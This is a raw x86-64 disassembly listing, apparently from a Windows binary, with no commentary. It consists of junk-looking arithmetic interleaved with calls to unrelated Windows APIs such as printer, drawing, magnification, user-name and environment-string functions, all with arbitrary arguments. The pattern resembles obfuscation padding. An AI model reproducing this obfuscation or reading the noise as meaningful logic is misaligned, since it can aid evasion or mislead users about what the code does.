movsx eax, word [rsp + 0x2b74]
and eax, 0x7f1
mov word [rsp + 0x2b74], ax
movsx eax, byte [0x140363edd]
add eax, 0x1a
mov byte [rsp + 0x6f8], al
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9974]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
and eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov r9d, 0xc1
xor r8d, r8d
mov edx, 0x39
mov rcx, qword [rsp + 0x12bf8]
call qword [sym.imp.GDI32.dll_EnumObjects]
mov dword [rsp + 0x99e8], eax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x728], al
mov rax, qword [rsp + 0x12d10]
mov rcx, qword [rsp + 0x12df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x9990]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x8924]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99b4], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
or eax, ecx
mov rcx, qword [rsp + 0x12dd8]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x74
mov r9d, 0x4d
mov r8d, 0x90
mov edx, 0xe4
lea rcx, [rsp + 0x12cd8]
call qword [sym.imp.USER32.dll_SetRect]
mov dword [rsp + 0x12bcc], eax
jmp 0x14031d40c
mov r8d, 0xec
lea rdx, [rsp + 0x6f8]
mov rcx, qword [rsp + 0x12e30]
call qword [sym.imp.GDI32.dll_DPtoLP]
mov dword [rsp + 0x12bd8], eax
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x9990]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12d88]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [0x140369b74]
add eax, ecx
mov word [rsp + 0x2324], ax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x2f
mov r9d, 0xab
mov r8, qword [rsp + 0x12db8]
mov edx, 0xb5
mov rcx, qword [rsp + 0x12c60]
call qword [sym.imp.USER32.dll_GetMenuStringW]
mov dword [rsp + 0x99b4], eax
mov eax, dword [rsp + 0x99e8]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9950]
mov ecx, dword [rsp + 0x59fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x99b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b74]
add eax, 0x261
mov word [rsp + 0x2b74], ax
jmp 0x14031d40c
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
sar eax, cl
mov byte [rsp + 0x72a], al
mov r9d, 0x1d
mov r8d, 0xcd
mov rdx, qword [rsp + 0x12ca0]
mov rcx, qword [rsp + 0x12d78]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x12b64], eax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov dword [rsp + 0x99d8], eax
mov eax, dword [rsp + 0x9974]
mov rcx, qword [rsp + 0x12d88]
mov qword [rsp + 0x42850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42850]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x9990]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x8924]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
lea r8, [rsp + 0x12d80]
mov edx, 0xa4
mov rcx, qword [rsp + 0x12db8]
call qword [sym.imp.GDI32.dll_RemoveFontResourceExW]
mov dword [rsp + 0x99a0], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9950]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x12de0]
mov rcx, qword [rsp + 0x12d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99b8], eax
jmp 0x14031d40c
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12d10]
mov rcx, qword [rsp + 0x12df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
lea r9, [rsp + 0x12e48]
mov r8d, 0xc3
lea rdx, [rsp + 0x12da0]
mov rcx, qword [rsp + 0x12dc0]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x12bd4], eax
mov eax, dword [rsp + 0x8924]
mov ecx, dword [rsp + 0x997c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8924], eax
movsx eax, word [rsp + 0x2b74]
add eax, 0x2f0
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9968]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
lea r9, [rsp + 0x12e48]
mov r8d, 0xc6
lea rdx, [rsp + 0x12e48]
mov rcx, qword [rsp + 0x12c38]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x999c], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
movzx eax, word [rsp + 0x2324]
movzx ecx, word [0x140362448]
sub eax, ecx
mov word [rsp + 0x2b78], ax
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x99d8], eax
mov eax, dword [rsp + 0x997c]
movzx ecx, al
mov eax, dword [rsp + 0x9950]
sar eax, cl
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
shl eax, cl
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140369b74], ax
jmp 0x14031d80d
movsx eax, word [rsp + 0x2b74]
cmp eax, 0xea
jge 0x14031d621
lea r8, [rsp + 0x12cf8]
mov edx, 0x73
mov rcx, qword [rsp + 0x42840]
call qword [sym.imp.USER32.dll_GetScrollBarInfo]
mov dword [rsp + 0x99a4], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x9998], eax
movzx eax, word [rsp + 0x2324]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72a]
sub eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x9990]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99b4], eax
jmp 0x14031d80d
movsx eax, word [rsp + 0x2b74]
and eax, 0x58e
cmp eax, 0x3b8
jle 0x14031d6e9
mov r8d, 0x2a
mov rdx, qword [rsp + 0x42848]
mov rcx, qword [rsp + 0x12d78]
call qword [sym.imp.USER32.dll_ChildWindowFromPointEx]
mov qword [rsp + 0x12c68], rax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12d10]
mov qword [rsp + 0x42858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42858]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b74]
xor eax, 0x2e5
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
shl eax, cl
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x72a], al
jmp 0x14031d80d
lea r8, [rsp + 0x12d80]
mov rdx, qword [rsp + 0x42860]
mov rcx, qword [rsp + 0x12bf8]
call qword [sym.imp.GDI32.dll_PlayEnhMetaFile]
mov dword [rsp + 0x99f4], eax
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [rsp + 0x9974]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov rcx, qword [rsp + 0x12d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9960], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9968]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [0x140352bcc]
movzx ecx, word [rsp + 0x2b78]
or eax, ecx
mov word [rsp + 0x2324], ax
lea rdx, [rsp + 0x6fa90]
mov rcx, qword [rsp + 0x12d18]
call qword [sym.imp.GDI32.dll_GetMiterLimit]
mov dword [rsp + 0x99f4], eax
movzx eax, word [rsp + 0x2324]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140352bcc], ax
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
lea r8, [rsp + 0x12d28]
lea rdx, [rsp + 0x99a8]
lea rcx, [rsp + 0x12e30]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x999c], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov word [0x140352bcc], ax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x9968]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b74]
sub eax, 0x5d9
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9998]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
xor eax, ecx
mov word [rsp + 0x2b78], ax
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [rsp + 0x728]
shl eax, cl
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov edx, 0x9e
lea rcx, [rsp + 0x12c78]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x12c98], rax
mov eax, dword [rsp + 0x9974]
mov rcx, qword [rsp + 0x12cf8]
mov qword [rsp + 0x42868], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42868]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x59fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
movzx eax, word [0x140352bcc]
movzx ecx, word [rsp + 0x2b78]
and eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6f8]
and eax, 0x62
mov byte [0x140363edd], al
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9970], eax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14031de47
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x9970]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9974], eax
mov eax, dword [rsp + 0x99b4]
movzx ecx, al
mov eax, dword [rsp + 0x9950]
sar eax, cl
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
lea rdx, [rsp + 0x4a800]
mov rcx, qword [rsp + 0x42838]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x99a4], eax
mov eax, dword [rsp + 0x9990]
movzx ecx, al
mov eax, dword [rsp + 0x9968]
shl eax, cl
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, byte [0x140363edd]
xor eax, 0x62
mov byte [rsp + 0x6f8], al
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
or eax, ecx
mov byte [rsp + 0x72a], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
and eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9974]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
add eax, 0x3b
mov byte [0x140363edd], al
jmp 0x14031de47
mov rcx, qword [rsp + 0x12c38]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x9964], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [rsp + 0x9998]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x59fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
and eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov r8d, 0xd7
lea rdx, [rsp + 0x12c80]
mov rcx, qword [rsp + 0x12d38]
call qword [sym.imp.GDI32.dll_SetBoundsRect]
mov dword [rsp + 0x9960], eax
jmp 0x14031de47
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
or eax, ecx
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x9960]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9950]
mov rcx, qword [rsp + 0x12dd0]
mov qword [rsp + 0x42870], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42870]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x997c], eax
mov eax, dword [rsp + 0x59fc]
movzx ecx, al
mov eax, dword [rsp + 0x9968]
shl eax, cl
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
and eax, ecx
mov word [rsp + 0x2324], ax
lea rdx, [rsp + 0x9970]
mov rcx, qword [rsp + 0x12cc8]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x12b50], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x728], al
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72a]
or eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
movsx eax, word [rsp + 0x2b74]
sub eax, 0x3cf
mov word [rsp + 0x2b74], ax
jmp 0x14031de47
mov rax, qword [rsp + 0x12d88]
mov ecx, dword [rsp + 0x9998]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [0x140352bcc]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2324], ax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov qword [rsp + 0x12d30], rax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
add eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
jmp 0x14031de47
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov word [0x140352bcc], ax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
mov rax, qword [rsp + 0x12d10]
mov rcx, qword [rsp + 0x12dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x99b8]
mov rcx, qword [rsp + 0x12d88]
mov qword [rsp + 0x42878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42878]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
shl eax, cl
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
lea rax, [rsp + 0x12cc8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x99ec]
mov r8d, 0xfb
mov rdx, qword [rsp + 0x42818]
mov rcx, qword [rsp + 0x12c40]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov dword [rsp + 0x99b0], eax
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x2b78]
xor eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x59fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d88]
mov rcx, qword [rsp + 0x12d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9970], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x59fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x2b78]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
sub eax, ecx
mov byte [rsp + 0x72a], al
jmp 0x14031e177
mov rax, qword [rsp + 0x12ce0]
mov rcx, qword [rsp + 0x12d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12bf8]
call qword [sym.imp.GDI32.dll_GetSystemPaletteUse]
mov dword [rsp + 0x9998], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x59fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14031e177
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9968], eax
lea rax, [rsp + 0x12d10]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x3c
mov r9d, 7
mov r8d, 0x26
mov edx, 0x38
mov rcx, qword [rsp + 0x12c00]
call qword [sym.imp.GDI32.dll_ScaleViewportExtEx]
mov dword [rsp + 0x999c], eax
mov rax, qword [rsp + 0x12ce0]
mov rcx, qword [rsp + 0x12d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9968]
mov rcx, qword [rsp + 0x12d10]
mov qword [rsp + 0x42880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x42880]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x99b4], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9968]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b78]
shl eax, 0xc
mov word [rsp + 0x2b78], ax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x729], al
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
and eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
jmp 0x14031e177
lea r9, [rsp + 0x12ce0]
mov r8d, 0xec
lea rdx, [rsp + 0x997c]
mov rcx, qword [rsp + 0x12dc0]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x12bdc], eax
mov rax, qword [rsp + 0x12cf8]
mov rcx, qword [rsp + 0x12d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9960]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9808], eax
mov eax, dword [rsp + 0x99b4]
mov ecx, dword [rsp + 0x59fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b78]
sub eax, 0xf2e
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9960]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
lea r9, [rsp + 0x12d30]
lea r8, [rsp + 0x2b78]
lea rdx, [rsp + 0x42888]
mov rcx, qword [rsp + 0x42890]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x9994], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9950]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x997c]
shl eax, cl
mov dword [rsp + 0x59fc], eax
movsx eax, word [rsp + 0x2b74]
sar eax, 1
mov word [rsp + 0x2b74], ax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov rcx, qword [rsp + 0x12dc8]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x9964], eax
movzx eax, byte [rsp + 0x728]
movzx ecx, byte [rsp + 0x729]
or eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b78]
and eax, 0xb2d
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [rsp + 0x9808]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99b8], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x99b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
mov eax, dword [rsp + 0x9960]
movzx ecx, al
mov eax, dword [rsp + 0x9974]
shl eax, cl
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ce0]
mov rcx, qword [rsp + 0x12d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9808], eax
mov r8d, 0xd0
lea rdx, [rsp + 0x2b74]
